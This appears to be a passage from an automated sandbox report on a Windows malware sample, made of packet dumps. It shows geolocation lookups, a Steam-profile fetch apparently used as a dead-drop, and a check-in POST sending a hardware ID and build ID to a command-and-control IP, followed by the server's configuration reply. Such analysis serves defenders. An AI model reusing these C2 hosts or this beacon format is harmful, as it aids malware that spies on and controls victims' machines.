Apr 24, 2024 10:27:14.070188999 CEST	1289	IN	Data Raw: 20 66 72 65 65 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 00 00 54 68 65 20 42 6c 6f 63 6b 20 61 74 20 30 78 25 70 20 77 61 73 20 61 6c 6c 6f 63 61 74 65 64 20 62 79 20 61 6c 69 67 6e 65 64 20 72 6f 75 74 69 6e 65 73 2c 20 75 73 65 20 5f 61 6c 69 Data Ascii: free failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_dbg%hs located at 0x%p is %Iu bytes long.%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).HEAP C
Apr 24, 2024 10:27:14.070223093 CEST	1289	IN	Data Raw: 61 00 74 00 65 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 4f 62 6a 65 63 74 20 64 75 6d 70 20 63 6f 6d 70 6c 65 74 65 2e 0a 00 00 63 72 74 20 62 6c 6f 63 6b 20 61 74 20 30 78 25 70 2c 20 73 75 62 74 79 70 65 20 25 78 2c 20 25 49 75 Data Ascii: ate != NULLObject dump complete.crt block at 0x%p, subtype %x, %Iu bytes long.normal block at 0x%p, %Iu bytes long.client block at 0x%p, subtype %x, %Iu bytes long.{%ld} %hs(%d) : #File Error#(%d) : Dumping objects

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.65.24	443	7276	C:\Users\user\Desktop\SUwX12D2S6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:02 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 08:27:03 UTC	918	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 08:27:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1q%2FkPtDTV%2BPBpzX9xWn21eeJDc6T37eKxQrEjVb%2BX01PNm4eQ9PlEcsO4PlT7PoWjPjUcC%2BHi%2FDiFZsq25KWkpuUBuuPUQfDPkmp7pLHTL%2FppqrhJCjVJ4paUsQ0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8794b63fc955101b-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 08:27:03 UTC	451	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 62 32 64 61 64 37 64 65 63 32 66 32 38 30 64 62 63 32 39 63 64 66 64 37 38 64 63 31 63 37 64 30 64 38 64 37 64 31 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#b2dad7dec2f280dbc29cdfd78dc1c7d0d8d7d1
2024-04-24 08:27:03 UTC	479	IN	Data Raw: d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 33 65 35 36 35 62 35 32 34 65 37 65 30 63 35 37 34 65 31 30 34 62 35 66 30 31 34 64 34 62 35 63 35 34 35 62 35 64 34 61 30 33 30 63 35 37 34 65 31 30 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#3e565b524e7e0c574e104b5f014d4b5c545b5d4a030c574e10
2024-04-24 08:27:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.65.24	443	7396	C:\Users\user\Desktop\SUwX12D2S6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:04 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 08:27:05 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 08:27:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p31Rd3QkjySrb%2BXwMkeZPbqC6vRAkwJBU63gj4VD5jq53tUX14B2kcFRrC13rsgAnNbmL12z2J97W4hLMe6yezeejy%2FA3msJBMtRCOeyUZ5lzA1HbfefjPMrCI0M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8794b64dcfeddb7a-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 08:27:05 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 34 63 32 34 32 39 32 30 33 63 30 63 37 65 32 35 33 63 36 32 32 31 32 39 37 33 33 66 33 39 32 65 32 36 32 39 32 66 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#4c2429203c0c7e253c622129733f392e26292f
2024-04-24 08:27:05 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 64 66 35 66 38 66 31 65 64 64 64 61 66 66 34 65 64 62 33 65 38 66 63 61 32 65 65 65 38 66 66 66 37 66 38 66 65 65 39 61 30 61 66 66 34 65 64 62 33 65 38 66 63 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#9df5f8f1edddaff4edb3e8fca2eee8fff7f8fee9a0aff4edb3e8fc"><s
2024-04-24 08:27:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.65.24	443	7488	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:06 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 08:27:07 UTC	908	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 08:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uXcOgFbVFttVfDeLAJZ%2BsZaCA8YBMzGpY0c3DBdNP9cEzOJZxmy5DtD7ZkngIB6wLQXiiKaDu6Hl5v80mB9aVo5pXqHKXk82Q0xkUY4IQIZF9ssLdKMKlwJieT4i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8794b6590cdc08e2-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 08:27:07 UTC	461	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 31 35 37 64 37 30 37 39 36 35 35 35 32 37 37 63 36 35 33 62 37 38 37 30 32 61 36 36 36 30 37 37 37 66 37 30 37 36 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#157d70796555277c653b78702a6660777f7076
2024-04-24 08:27:07 UTC	361	IN	Data Raw: d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 30 37 36 66 36 32 36 62 37 37 34 37 33 35 36 65 37 37 32 39 37 32 36 36 33 38 37 34 37 32 36 35 36 64 36 32 36 34 37 33 33 61 33 35 36 65 37 37 32 39 37 32 36 36 22 3e 3c 73 70 61 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#076f626b7747356e77297266387472656d6264733a356e77297266"><spa
2024-04-24 08:27:07 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-04-24 08:27:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	23.66.133.162	443	7600	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:13 UTC	119	OUT	GET /profiles/76561199673019888 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 08:27:15 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 24 Apr 2024 08:27:15 GMT Content-Length: 33790 Connection: close Set-Cookie: sessionid=01c5ef7edb513cec2c3bd5ba; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C8efca4b9dedd65f9ac922759639cacad; Path=/; Secure; HttpOnly; SameSite=None
2024-04-24 08:27:15 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-04-24 08:27:15 UTC	10062	IN	Data Raw: 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6c 69 6e 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0d 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: obal_action_link" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2024-04-24 08:27:15 UTC	9214	IN	Data Raw: 74 65 61 6d 67 61 6d 65 73 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 70 61 72 74 6e 65 72 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 54 45 52 4e 41 4c 5f 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 65 61 6d 73 74 61 74 73 2e 76 61 6c 76 65 2e 6f 72 67 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 5f 43 4c 49 45 4e 54 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 55 53 45 5f 50 4f 50 55 50 53 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 49 43 4f 4e 5f 42 41 Data Ascii: teamgames.com\/","STATS_BASE_URL":"https:\/\/partner.steampowered.com\/","INTERNAL_STATS_BASE_URL":"https:\/\/steamstats.valve.org\/","IN_CLIENT":false,"USE_POPUPS":false,"STORE_ICON_BA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	95.217.9.149	443	7600	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:16 UTC	169	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 08:27:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 08:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 08:27:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	95.217.9.149	443	7600	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:18 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDG User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 08:27:18 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 44 34 34 37 39 36 30 45 31 43 46 31 38 39 33 39 33 32 31 33 35 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="hwid"BD447960E1CF1893932135-a33c7340-61ca-11ee-8c18-806e6f6e6963------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------
2024-04-24 08:27:19 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 08:27:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 08:27:19 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 63 65 38 32 66 37 36 38 30 32 33 63 37 64 31 38 63 39 34 36 30 63 33 39 65 32 61 39 38 65 35 32 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|ce82f768023c7d18c9460c39e2a98e52\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	104.21.65.24	443	7792	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 08:27:19 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 08:27:20 UTC	908	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 08:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=REBpJB2yb3HNcLN5DSntfmdB57Rw0d12KS8BOsSiTQPILolN%2BDK2AhlOuci5YXD37ddWTSO7lrFrIEG3IZZnyHamp0cTURxLkp0s7TJikCDqEOm7TFdmoLvv4Lxy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8794b6aa9cdf7baf-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 08:27:20 UTC	461	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 65 35 38 64 38 30 38 39 39 35 61 35 64 37 38 63 39 35 63 62 38 38 38 30 64 61 39 36 39 30 38 37 38 66 38 30 38 36 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#e58d808995a5d78c95cb8880da9690878f8086
2024-04-24 08:27:20 UTC	361	IN	Data Raw: d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 66 32 39 61 39 37 39 65 38 32 62 32 63 30 39 62 38 32 64 63 38 37 39 33 63 64 38 31 38 37 39 30 39 38 39 37 39 31 38 36 63 66 63 30 39 62 38 32 64 63 38 37 39 33 22 3e 3c 73 70 61 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#f29a979e82b2c09b82dc8793cd81879098979186cfc09b82dc8793"><spa
